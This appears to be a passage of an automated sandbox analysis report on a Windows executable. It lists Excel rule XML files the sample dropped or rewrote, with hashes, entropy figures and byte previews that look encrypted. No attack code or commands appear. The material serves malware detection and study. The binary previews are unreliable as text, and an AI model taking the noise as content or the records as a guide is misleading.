Preview:	<?xml..`......1..'..m<..iE...(.Cug...>.....0.E7.....=9.^.....?.<V...B..%..9.=v}.{h.)...f..~......_...@r.......Lq.$..i....z~.:.z..\N.+.....N\|$cX}..V.63..Y.YG...%<..~..4..d...V...r...9w.'....5~2.@BMI..........m<.4l..Tw.h#e4.\&8_.E..m ..-z3K.. .D...\kx...8bw.5.AKK......b.+.....G...@..H#u...x..o;.../.c..V.u.......p.?.9...K.o...E..Y.1P..;......k.....=y........~D.v..+W...02k[Aj/.W.}.3.E.+iuc..t[G.>...x.b..4,..0.\|7.r&5$J.YT;2.B.TH6ye......v........#....f<.!\7b.m!V>..E:/...&...]..._V),..4./;...~).......SD..L...NU...m....[.L$.Q..g.^.-s..a.'.@\|...-C9.j._...G5xJR.YD}Jp...=>=...!..EVPm.l..Cj.mTo.u...mX1S...s.. e....}h.y.pp..=A0'.w..2...;.&.-.u2.3d4Z ...r..I/../ET....o.t_.....J9Nj...!...)U..z...]. ...X.iGw...p.A..ka.u..SiC.......<......5.P.....v..?$.g>..7...E`.^...eE.O'^..;..%...$k>..a3M...V..R.<.....A....z.........~......J......E..1...I.=.T.OWtH.>,...L...+@D.......=^.\|.X2L...=..2..S........Eg.8.........`TO.....R..._.....C.".t.....l..Z...)o..J7z@_...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510015v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.714344182312058
Encrypted:	false
SSDEEP:	12:IaYstLGES3m2YQrK23GBki8OzzpLTGQhXNtljWKtwjqZ+WiRYx5lyG1PixpZaciD:9PYECRYX1XDThdOWwGwWiRO5lnPiTkbD
MD5:	1DB8E39DF741F6D46E6DC2FDA24FB844
SHA1:	AA65DC5904039D573D2968985DE8698B592E70FF
SHA-256:	69E0AC0412634FBBEDA98514A6C691EC0150A5E494DDD62B0970E0F6294442E6
SHA-512:	AA16418EADBEFB3F1A73E3FB9BC6E586A2A384C4EB72358FE4ACD24D94550D44F7D99AC04AD291785B50EC7F3D9473C1E9D7278391C66031993BF04C4818722B
Malicious:	false
Preview:	<?xml~.6L;.G..y<.p..J.<2...!...9....<"..g.........6Qv....w..A..G...N..s.O..n.f_:..b@.3.M._~>a.V...-.)..S.(.UF.....C..w(..E...gc..C.,M....q.L..N=s.:gM.G:4kwk..U\|.O..:.3'0V..S...S.....A.....6.!y}.....GW..$.=...../4\|....%T..v.."..}Z...n[.k9........X.K..{....;5.../n.^/9..0\|..?.....j........e...8.[\|......a.-....KN...;........^!.._......?RO...-..#...O..^<...1.P..t.LV.).B5....X.wz<.h..2..i\.Y...DM..O.%....%...[M.b$.z................E..W^`(-...%F..k]p[..G..[.b.I.y......AQf/!q{X....m..Ylr'%..e...Tt..De.I.</X.h..P.G...1bU?....t....f. ..P.U.g..Z...H^K...).Pn.x..0..N8.....i..-.F....~.T.T......N..r.Xj.B.$.=R5...)X;9f". ...8.e6...q..WV..Kq...%..........-..I....T...8..%t`..6nr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510016v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3934
Entropy (8bit):	7.951048315424974
Encrypted:	false
SSDEEP:	96:Non3iuCf55QYc+5PAqG6yfSdSH5r2oy0Q:NAiuCf7NcOIeyfSdSHEonQ
MD5:	884F176E3002151B732BB004C4E882AF
SHA1:	A9318BAA4817B5626A2C8D59E218FDFC7770C28B
SHA-256:	37B5AD368C8152D9EC175457CDDE5A3656CCB9B203D33430A44B436CC5CDFB06
SHA-512:	5B31C33F0A3E2968FBFD017C2F97E05DC216EB65BB59EEEE478929F8ABF74904B261E8D08D489E878E6497A2C8BA488AE3E63363D87E381C77B0E72A99BA84B8
Malicious:	false
Preview:	<?xmlSc6;C...^...L...9=...r.=d....6v.e............b$...=}.m96..QW.`[.x..\|)..~!..<=.....J@.EKN....@..... .c...Z:G_..l.......c...>.r.I...Tk....N.L......}7N...)^'Y,.(....c.......g"..f.ut.p...:.O...&.&`......).9...}.v.nb..,.=./&...}j.A..]\............u..`..N....O'u..\|$.R..~=....H.DK..h.7.......5.v.v.`QrM.Ev..Um...\G3...AoLu.Z0.l\|B.wHV..N.}..`#J.b.LR...q....J....5.i..X...r.....S..... (.u{.).f ...<..j<..^..uO.....c....X."~.R........8d..x...T.b_...."..o.@oahc.....V .o.%.._#..4`.....55.u.f?Mf.X......,....o........h......b....^....FV..N..$.....W.p....4..+X.2. .......#.u.re.LV..M.....?~.h.j.....:H..z.?.C.8k...X_..j6Vt.jB...1R....5.<K.p...R....D..=....=......Gu?_.bPuR.L}d..[.{N....2.G-~,..<(...H....u....&.6.q f..<..3....u8&.7\OMN.W..t../?cG..n...$.....3;.+.EF.....2...f..y7N....xx.._..,..\|.l& .......z.W.....E.x. .v......\.?.....fS......po..........T.H..%Q@...F........)..?$TwE.{.l.Z.0,F,g..Hz]J.ok.y.._l...ID.Bo&.oH.2.\....-.y.9...v..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510017v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1148
Entropy (8bit):	7.837208931586559
Encrypted:	false
SSDEEP:	24:XYkeIvigAg7dHkARWPva1UBRC2iH4k89iTkbD:XYQigAg79xW61uC2Lk8UiD
MD5:	00B17D9888B4D7C39CEBAFEBF31DB97B
SHA1:	328316594722DFF909C63CDDE0347ED6FE62B65A
SHA-256:	492289A34FE5B9114D38999AB3C8A04E06CDD69C7D7E621987CFC580970A413C
SHA-512:	8CD33131C78BF4E3D6E7D125A62587186C6E81E83C3C01573EBF4755D531C84EFA6B8E911B934881C0065BE99C754A77ADF5AA9F843BDADFA0B729875FB6D6E1
Malicious:	false
Preview:	<?xmli...p...........3.~L..>.>......Nv8..FK.{0..-..A..`.W.d!b2A........_.-?....y.I.].-..%....N.(....#.M..N.1').P..~.l.>...{.).)...-. $^S.DWw..Z......O.H.....=..XF..).q1s)5...q,....S0.......F..d.?...!%w.....@.....DY"K..........e.....7..l.k..w..S.=].....x..<.@....3....h!...... ./.Z..b....~Qd...N(.d..I.W.?..P..C..-.o.G.P.....A........(o...<eBX#.."..9..[\..@...\{l.=..U..bhn..R....:T..,..`.l...X.m.!O...Q..6.;.+..M..\|j.NXD.>..i.._+`...Z.%.^..t.j....m...z.&a..+w...%Vx...6%......W..?.j...D....]..6...0.lQ.t4..>....j..e.hP.....q..g....kj.....o..#.fD0.........^..RTg@..j......z.....>...7.U,........j..{.U3[.G.....$L.....M.$8;.l=.B.A..}.R...x.....'..Qe.uv.xHe.x ?9......=.....zcT...6..U.\|..o....fD.H..m:].b......(....w..,.+k;).@Uo....T.M{.!...Lk.^M.x4.::.9...f.i.aDH...\..\|............t..Q...1.\|VfO...evO.U..`..85..h.dT'.<.sD%.dU...I........n...[........q&WS...Xw.@1.#...A.rqM...mY.\|m.~srG"Q^>J.....1c.kZ.s.D.._C.V....C..MR..S.[.../.kK.)...v......B4.Z.K.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510018v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1782
Entropy (8bit):	7.890284761194483
Encrypted:	false
SSDEEP:	48:1GrmDtLzPNSnv/7V5/Ki7dXWqgvdh8vP/x6riZxz0P1awfkUiD:M6DFZ6HZxT5GPdh8v3x6rPNawfkT
MD5:	D29BD6E3A230EB5B2FF0CBBBE78ADC77
SHA1:	D91963EC9ADC7547228D23C6D2BE53278CB1EA58
SHA-256:	A3C72479563A6831F84F350CC4DE3262ABE72E2AE95B0067120A1F201A1A5179
SHA-512:	DE75875408DAB0F0EB64E28E6945047229B3F290E45C10F8B2E8DA531D7B3F9B6435AF3AF7B98939D8ECACB8DA5F21D90C91719CCFB9C35B46394BC78BCC306F
Malicious:	false
Preview:	<?xml..6.Xx..Y....{...>..1t...QE.>{...c~....P..(/.....}.Gur.'.Y...o$Z.\.....<.iz.....}V..Q..b..G..ht..g.5..).....P.....A.V.@...;.Q.t..:}.V.T%c.....b.$..JU>...,Vi..........e)K..}K.q%.L..T.....4i.O.s.t..C"~SH..=.V/-53..sm3g..H.y....U$.L..w.r0...r..K.T....B.....i8/i&{+.S....5-...iq.z/.=f...r...?j..W..]x.5~...UM.'@G.....:.,.....S....^.l.<@..F...Z....TO......p.?...N7..".a.X.{..~i..........H-.l..Z.&...U...I.T..s5...r.z,...L...9.Z[.....-.8:g...=..E.....mX....7V..#...ck........v......o...^.[.....V.>.'5...}.1.....>;lm.E.{j..4N..Rsr_.oyf.K[...".?0.HVo.9..l... ....R.........9.....9..........%.."...;.N...\|R...T.....:.T..VR........s.`\|......L.k..........(.E....X"....S..Z".$.i.O..>,'jL....AX^.0tB..'...#A......Y..~.^...<..._..RB.7[FLt..b......QAg.5..C.....ow..V...z.d.....E......F.U{;e.Ny.fTb.W.r...b.v.=H.'.yi...m..J^Cmq.W2.D. .aA...Yw..e.;.d..:..R.'..hsr._...r....Z...q.......t......guv..eiX.k.(...M:.....7w.....S...D.._h2?_jR..%&...O...a-.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510046v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	791
Entropy (8bit):	7.714134615858361
Encrypted:	false
SSDEEP:	24:ZlEoAcX9uovIzlNk/isSAb8wDR9xnp9hGiTkbD:ZlZnYovIzl+8wVv7xiD
MD5:	DA345ACB35F3A276C5A18BB38BEB85C1
SHA1:	85A88EFC410DA7EE071B3B3DE46CD04E09D2F000
SHA-256:	633D78BFAA7C09B9E185B36FA93C12CB374247B77BDCA45518E75BCE560D0475
SHA-512:	EC5B23878EF1C04C1D6DC050B52A0ACEF4DAEB744F6D19B7AA8D1B3FFB35459AC14CDB32F9474BFD0E0C78D5A3F9EA5A7F9389F94C3B6C0C39DA6A8FC6F4ECC2
Malicious:	false
Preview:	<?xmljmG:.....Ja$V.........8:1.-.. %.\E...pY/jlCp...e]..J`.6.I.[......WV.....c..$z&L.'....}.x.go........"P!.@<_.B...x\:P...=-.s.t..;,.q..x.{F..b./!P....H.>.@,\|.N.FZ_.u.....O...l.3....z...j..%..Om.(2..~8s.....g.n}.]Y..>K.-.i.F.P...".....C.>.{7......6.;!..m.r(3.&..../..,..".cR....`,1.y9tY..}......$.;...,.afb...es..>e6+...]..."U...e9.jy.....m0r...t......n..>.f..1. .Z=X4....P:g.................2...>X.>..<....b..6....P6h..B..V..i..I.Y.U..G.....&...L/.K....Q>..."...k.....Cn.@n..a....%W.,...X-W.I..v.m.~.0..u^..n =.N.......Ttz.,....q.v...l...=.J.}.a..".7......l.^}.)Vi....fUd..F.<o:....Pmh........e..}.+..y.b.n..^.....W.G^9.....)..r....bd.E.....l.N}......v..2..9..b..o....i..J..uX..~r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510047v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1082
Entropy (8bit):	7.8095252639137
Encrypted:	false
SSDEEP:	24:oQPx25XsL60dwNiLG4A/yDiqwwNnhJV9AUCiTkbD:Ns5c208iy7/enbziD
MD5:	0A291CBBCA0A8AF077E53E6E53587979
SHA1:	84AA3F7957C318CA6670A2F8655987F8B83C4AF2
SHA-256:	95EA7BBCD13479268DBC38A3DF5AF3F9A045917DB9B2464FA5053B6C5773F0EA
SHA-512:	306763FBB745C4D5BE5772EE8AEBD8CB34B81958E6AA7F59C91AD4FC7F86141B636FE0118868387F339FD10C5FA7DEA0093B4A76C6B967CB1B597DCC6A906BD6
Malicious:	false
Preview:	<?xml.m..2...4x.=L.t...]5.G..>.!.W^`;...'....D....I.N.f.;n...}.....iC1.0.Y.S.:..B...,.R.y.wnj..'..I.9..P.eb.=...(>>.x.}I...3.#.P....i..6?p.{@.]..I..w..uAK...t.M........;'3_,DY.....o..;.z#.b.s....H.....%..]...@...@`h?.....8Z..M.q.#s.s.2..~.?.=..i.......l.......57\..]S"..h....Z..[Y(/`...\|...FQh.1T...D2?...M&.~..\|\|m.....#P.k.q..<5.FD.,-.......v." .... A....Q.d....C.h./.Z...n............E..d.x.V3.q.a/.ZYt.C5...4o.}n.Vj...x...FM...%w.u.CC.uI.l.:w....C....K....8.2C......E)]v.:.......u......}......B9...i....@..O.8...[....%.!J.#..}S.......fT..fz.x.k....\|a..q....q...~..!./..,.4.....<.L.o.Z.%...@.......].T+...X....6%....l........$.%.my{O.I6fL.i.....GkJ....14h..a`....E.,..;..........q.;.y..^.~r.8~b..T..0...k..$G..d.R.q .M....~...AU...n..6.J\._.l.i.."........P2.......=..O4...U.1r7....c>.p.P.Dn(t......e.5.s.x..k..S1H..).3.~..wl...;L..f\|8..U...:.V+..!y{.ZZ)....vt.s.e[..cCt.;.....Fn.io.........v..x.....F.....-V.n..!.^.[...$.M.N......4 .....F....)%.eO.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510062v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1061
Entropy (8bit):	7.778182477390162
Encrypted:	false
SSDEEP:	24:lhAt4dtHh3HwUziSJRxUEfCgK8nEu4mNzZdiTkbD:lbdtBXwYZHvCgK8h41iD
MD5:	83F6C276B34F7EE574F76C46C994DD09
SHA1:	897130189EB66BC058B32A9F030849854BFC37A5
SHA-256:	87727EC0935C1642DFB73BDDF030FF1168B20D497A576E17F0DB79496E6C42D8
SHA-512:	72F29FD42D68F9AAAE1B52B70D14A04A73699F3FE2E1BECD5050B409EBB922F26E7A1523854AE9FB1F94C314755291FAE43C6524AD3C8D167E086E8611487E85
Malicious:	false
Preview:	<?xmlR......K.....g.....:..Q....pY}s.C..]]..t\|.......q....\....y...1Gqg..s..Z..y.....98.....m..$t...J..V.T..;J.f>...X...}.u...J..m...''D.z..kh'./'..q.........../..k..}......}Q9F&^..;.D%3)...$...1iC...H..a..`uG..~..L...q5.MED....a3.q........!..b.k.....r..;.0..?..j.....C"S.X.mb...t..^& .j...u.......<..uK..._...Q.x.m.7.H9..Y...u.N.a#.".q.2i.tL....4O.9z.`..H.=U.4..K.m.=-.M.zlJ..%._.<L.D.}.<.t. ."..8.7]n4....n....m9.\..{.j..\S.N.8O.s.Z..0P%.<....T.}......h.l....i3h..^.E...~Xu.B.1.t.@...C..gy.%..lO.cP....X..^70....=q6B[...%$...tTTp.....M<...c..A,3..-..P9.....$........O..y.4..]'.H.....y...>.t.t.\#...ODaf4.m.4....9......:....6Gu........>d...x..[.........R.K..G....>!...n,....T.i$..I<..E.W...I.NF......X$.....xc.nG[29en.....ft m......J.=.X..J.....`mO..0.L.C..Ft..nJ#.....j...{j.=@.r.V.j.?Q.Lzr..U!.<.Z.-..P.........$.v....$..l]<#...>\.hW.yi.bg...._.T...c(....N{Q..h..E3.iu.y<..m.LM.....?Z.Nfm.....b..]..y.OF.v!m2G....v.C\|..Gdr6yxl1GT8iG2X6JaJ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510063v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.727426755390172
Encrypted:	false
SSDEEP:	24:QAnAhj1nPgQWMKIN3B9ZIeFg8aYgvDPSYtiTkbD:QAAhjVPBF9Z3aYMVkiD
MD5:	3EAE207ABC04488DAF4F9CC8D0B24D47
SHA1:	BB102C9306B193E348B3620BECDE793D8AC7028C
SHA-256:	0AEB2F2C2A9F7B9A3EF8BB396C0EEA1337ECB0B155D87B196EE4413FA3CFFF85
SHA-512:	D0FBA70C520136351B2FA9A029A0FE17A23C5A94DB4AA8EEFA670ABC6D0775350BB965DBF2B5ACD21E793E4716C83598105D24E94C5E33BE3778FBBF0F3636BF
Malicious:	false
Preview:	<?xmlNx...H.S..R...$6.U..$.~..U3......:....A'.d.A..8b>...k...8.T.<....-....]...xF....C....3Z.l.HJ.l..K.<b..S......W...oU.p.:!..............p...y.../+.z[.E7...."......J.m)....9.....I..Zl.._..1I.XY..F...h.....r. 1...m..a..G}7.e...C3C....O..>.[\....7Dga.`.o.....v...g...o.._[.....^z~hw..?.......`)s.z.F.+8.{f.C&.^P^Dl......Y.$...G...Q.k-.1....8....9kE.........#[;...g.!..../t(p....K..u.%.^.[....j..IA^.o..V...../..-....\|.s...<..B.....na....M5a0hQk.....&s.A\.4....MJ.. ..cF..u..p._...dKk)..O...O..C...x...p.B.o\|.a.d.....@..-..C.....C..E.v.k7.bn....pT....."...!w..&.n....A+.Q.m..T..?..6..,....j.H...M.E}.M6.........]...q...P.j.FCV.G.7..@t..Fp....+.T...x....H%.XK...2V$..&u.r.Y;..Ev.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63028v4.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	7.8618635107509665
Encrypted:	false
SSDEEP:	24:qjzLsoW/9R6elvuV3IzCw/Af2u1zwbvYH7bOzsYSO88nR6VTwrCbyLV6FPFPVHIP:qPLsoWFR6qnXzu1zBOIYSOhAOtLVOiIm
MD5:	3AC043EF1D674448B1B12B3300759A69
SHA1:	AD057D6AA657CA0E6B4325665C5909A9EFE90DDE
SHA-256:	55DED84F6CF3C70C428086DBA0ECF8723C22F1525B135BD57CCF53101EDD5E29
SHA-512:	DEDCB64F71BEC7939CD87A5C895D4D74E65736A08104B4342124B39FDBC4533447FD307B58F02E9D1253BB72809596A0187F585E1647F2F137ACBF5114DEDC49
Malicious:	false
Preview:	<?xmlH.....S......)j..y.[>.n...#d.T.V.h...2".....hT...W.C...TSJ.E........Z.7......x...>H=`DVv\|x.q.R..e.A$.,.....&...e<^pf.3HSh.@...)m/...l..?..+.W...gM+.en`#..t.....L-..Q.5FYY..."...<p...?M..!x.\.aUU...........z.a.5.tf..1.S..i.m..`S..S..U.......8..5>X.P.g...rr.;z.....k.....1.....b.q...r.p....0..l7.tI..9.....-Jd...[.,...\|.YZ[..[FI_.7...0..t....:....:.-.+..Wk.:....jd........<..$......\.~e.\.xm4t^G.X.#.H.<D.^.[.;.Z.?@.J...k.8......>=...m.......j........y..H..}.]J..@..L[."..:j...n.p...]!..\|.D.4dJp.......[.'u...0...\..)nl...x....f..D$.....Bh{.....K}5../.p.....]eB.f...........(.6.......Z.g..P.7JT.....Ho..g.s.Of...D.?...%h.5.......".....N.....a.....W..i..O...t..(....j".$..X.,...g...I.=.K`..[^~L...{..2...J.;...:.x.l.]..yd..6r?.).....'4........... $...._.]...Q.]..{Gl....c.Z...x...;U.nm+..&.a.V...E.X*..f.q..K...m...:...Bf....'.J.@..........,....\.~;#d.O.....".g..V.d.l....U...l.^.J6.......\|..y..d{/V.<..v.V.K.Y...b6.l.j......1...^c..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63030v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.860090251019328
Encrypted:	false
SSDEEP:	24:CDqoTJH93kn1kAz8z4/NMqhCgUOUws38DdbTcYrQcUpZqUDSxcdKXZiTkbD:Cpd3knVFfYBsZbTcwDLWamBiD
MD5:	364EC08321D08A028691C8E76FB2C0F9
SHA1:	D4373C26F07F1D4A9E42EED8ACD62AC5A1486BAD
SHA-256:	C43BC19EA76ACF249A3AB92CAF07BDCE87B2E0B59AA20445164799D78D48924A
SHA-512:	26E0D89A99883406174948E7292364A309DFCBF6BF7D9A7B7981C4F58FE3BAE57E2D661C76CAD6A4C9370323C485F9212021C11D395E8C80AD7AC8C1CF2DD5D3
Malicious:	false
Preview:	<?xml../....l.}...._....$..{.....k\....k/.*...-."..8....R.}...U,Oc4..:P.."..q.o=..e..x....t,.E7Ni.....F...`.]....,.......x^....z..C.0...v..Q..V....N4.R..r....2n...X........c..A.9.....3...U.O5.t....W.PIl....<...l6R.p.#G..._.l......y.N... ..v...y.....P.0..B..Oi.}..e[}n.r..Ls..\[T....&.+.b.]R..%:.....R......U.0.<...H........8s.Z&..r3.P...L.{....V....?..+..H..M.Z.X.E.V...B.U.BWY ..k..h]n4.v.:....U.IVu1:..]%\..o.]........h,....%C......o.(l..pS.T.g..k..e....).e..O.3........j.........l,i..3ej(..........y+....b2..s.m\|(..}..L.`....C..T.G.6=.A.....~}..%......!}... G.0..+.....Z.V.y..!,\.a.\..Y..#yDH..q.....r..g.Y.._..t..F......0(....'./?.Ph........].oz.......~.;=....s.R....~......v..P..w...X.W.ho.v..'.g./EG.....h..`.Fn=.v...f'(..k..G...... ..V...cv....RF.K.<.....U"..b....}..w.W@s:..H.h.b...(.Drn.EQ.....t_....Q.....y.<E...59...z..+~..W.xL~...T....h.!:^.."....{.......lH.).i.Y....(.?.x...d,.<..\|.n.L.,.."#.... P......X.....~...,..M...S...~y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63038v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1261
Entropy (8bit):	7.827765611404358
Encrypted:	false
SSDEEP:	24:odEuHqvs/VCqhUeOAPKE//JpeZaNlVpgs8rXkRZXfzTmq9MEYiTkbD:cKv2CqhUhk/JpqMLgJr0R5Tmq9XiD
MD5:	0C91F44721997C2AE032C6B364923E44
SHA1:	5DAD0D2D8D1A8E15A3DF4F150C1BA287E063F3A9
SHA-256:	72977CF6C256824905873BC2E353570B9A824CEC15F268318921A31171DB5699
SHA-512:	22FF9A969525F920510F652274CB7D433328ED71C47E6203E43D5C363E6E5DFB48D4DF4DE660D8F38067B540CB91C9B547F1896B39217D49B8E0C83B6393A68A
Malicious:	false
Preview:	<?xmlUb.E/dR\....<.....6..S..t...,...,.....L....^L......_.."...5.3.._..U....E..5....>....9h......b\|{........ ..i...mu.{J..?...>..:....!.......+;...S...$R.Z...-w.g..V.@."@........).o..`..z...i=V..l..._%$J..o.^(?.L.R.....P..G..4X8.....+.Y..Hf.DNU..7w.L.8.....lM.W..[..\|8..P....Oe.Br.......K...H..,...>.N.&.....c.....&.)8....bj4..~M/J..m......-..Y.%c<.......'..t+......N..;2.>)9S..56...Nu.m..b..^.~..!.....3.....f9.."..@Y..C.....L....r..$.w.`T. ...z....T...X0....4.xi1.........E....5.^(..B$Z!t..q.).c...2Rp.......`.r'...h..<\|0l.\|.e...!uMO./NG. ......PP.....Xm....v.....'.y.%...q.....4._..FB\..!.}"ml...0Q \..+a.`02Z..y.9..6.jE.......:...<$..`....c2.\|2..y,..L..,$.wr.W.[.$.2a....>.RR].........L.$n~.[}.`....\|G...p.......o...)w.v.@...:.d.6_^.6\|.1\eO.-VF.6,T.......f.&P...>2m....-..aY...3.r....o.mU.....5.\|.....<..U3.:...!......n..uk.gvU...-H;W.VuP.....D......!.u:...;....T.Ak.`#...&AQOK%..n..[..>..n.P:U+..'.8&O...>O<.a-[n.>:..*..\|c..S..9.<R\....KX.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63040v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1268
Entropy (8bit):	7.8426382240328225
Encrypted:	false
SSDEEP:	24:TEZb6EBfsTxLtc6K4O8pNSND7UgPzP0jYS+j6phIMiiTkbD:IZb613QQNSHzPgYQIMXiD
MD5:	93195E6A74FE473FB78B59A291120C3E
SHA1:	F76CC57EC198C0F53E5A44E1A0E4BDCB94026F97
SHA-256:	4660DC56DBD7FA0B55A2EB5F46DF3745E49E114BEE55187C77E1B8533FFDA031
SHA-512:	271E11A5FA39A2730FB42A73C7E571524C42D5F50216258A7B52B4C6FE1C095C96C2554DA9E9A89C4F805E786DB153F357ED15FE369A4199ACC0B4CD4DD5CAFF
Malicious:	false
Preview:	<?xml...Q....d>..e/"%Ou.L.aH"ho.[.`..UC.F..bni.+L....../.a,.l.....).!>=\|P(4K...x%.+....K.{.....4.[..P....D.......f.YH...1...P...W.g..sT....W....#$..y...Q..F.3Y.k..v.'....V.$.P.>..S.....6M..G..h.......8.5.K..?..\...M\|..^..c".EA}%.a...B_zE..V...Z.<..n....5..x....>.l...zn+.....j...........g)..!..^f....S-R8.G.K...[.><.5r..B.=#...-...........I.D....q3+..myW..Y..t.;)Y..s...\|,K..QD..%.G...T...@A....F.....Bh....g.O...{.w].n./b.I.Q7...m.2..`.{..b...uy...4I.5........s.^.o..G..GJ.t}7.L...\6..w.G.].1.&G'..g.3z...=$.....$....Cq2[}..L'M.>..W....i.[..l...Y..:.....\.\po../,.X.......I..........YW..]7DP....iY.(F5..Ysg......8....V..z :.Y ....PU]....+m.F ....<(Pz..........8T^L};..JC........[.C.>...r.....d@.#^-..n=T#A.e<.N...r..emT.Y..:..G.}f..R..7q=."..........a.Hc....0....O.W.............#.VE..B..+hz.E.L..c..\...&.......o...... .....mxj..bT...F..P'..r..Y.P...N..!..1.p._Jx."g ...'t.j.o..f.&..D...p.p...K....Xk[Y.1,..i..ja>.1%.3....;[....V

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63041v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1815
Entropy (8bit):	7.89722983756029
Encrypted:	false
SSDEEP:	48:NHfvk6/iSLJlE3ip5910utWUMuxJjAtkIlMMiD:NHU6/8SpR0utWWxJjAlMb
MD5:	E54DAEB722D70B0C495252B54EA3FFC3
SHA1:	E1379AB93573922CB480ECEEB46D904AC5DBFB16
SHA-256:	2B2C492E3FC3A30193C46600322BA9A9A2C9879E02D251B83976348143185A75
SHA-512:	E91F916C0414776EBC1BFB46978AC7F76A45980A8FF6EF378A3CEDBFD324B73CDE800DCB095656D90E017F010B37BDDF9302EC6D89820259F04CC2BCBACFE0B5
Malicious:	false
Preview:	<?xml...F.........r..1.'..[....Riw.n...A.[!B..G"..'.g.b....8.....0Y.R-.&.E6(.A.."...C>..hwBr)..o$.]>..Jk.a[eRGN...lH..x...'U......,.........`h.r...6s.)\|....U.wq......Qe..j....6......i.{.{.M.':.d.Bhn......4.v.Y.....hO..;?..;.N\|..'.I.\|.....m.d.v.bl...........G....o..,P.......(.U..n%..G].X}..M.Dl..o..W@....Yr....S]I.>...M.....Lf..9M.'d.&..j..8....1K..L..sW...,.m.`..;......}....7=3...s...M3.2&..V.>.. %.p.....;......~I.F..6>.8...{....@N.cV..R\|........[......L<&-...A.~./.J...Y['-..U.@.t.?Z.....d...L....aV....>.\Q. #..s.e.. ....6$..B...?.JlK........w. ....\|........k.B.<...)a..F..V\|$..h.......P......?...i4Z>&....H.2.Q........F]i....../.nb.T./\GSV....v.M..YG....d9..............[.w...>...J.q.P...)Crc~...nKH..Kpp^Q.M?.)=!...I...,K0.....jn..z..Ao.0...3.......#..dm...$^.E.p..@.?<......3.j......?....[.l....bP..m... ........Fg._...N.M..,.Y.;..'..ig_[W...@.=.....i..5.yZ.g.......C....XC.U.sX.2D..N.Hbu-U.....=....}..R...-*...e...VF.-..D....:1.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63042v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.747601690567989
Encrypted:	false
SSDEEP:	24:wM+P2VWFIog5XjDQn6kJqb4di00yPCZZy9grYjiTkbD:wwVWFI1VjDY6kJqb4di0DPWviD
MD5:	FAF1108E253167A04089AD412D681811
SHA1:	4C10860C1FE8BA2D56BB2DF1862EADA816175438
SHA-256:	2C65D8F64943073497AF6FAE222944D2317347CF1F744535A865232F24293E1D
SHA-512:	0C532FAEC62B97992C022D9428FB3BF4697C4988F7D5E979F23C92388E1353AAC87E792D7E2AA8F9DF9E93F4D2D285BCF25CFE34E45B1B1737C1585617572CFF
Malicious:	false
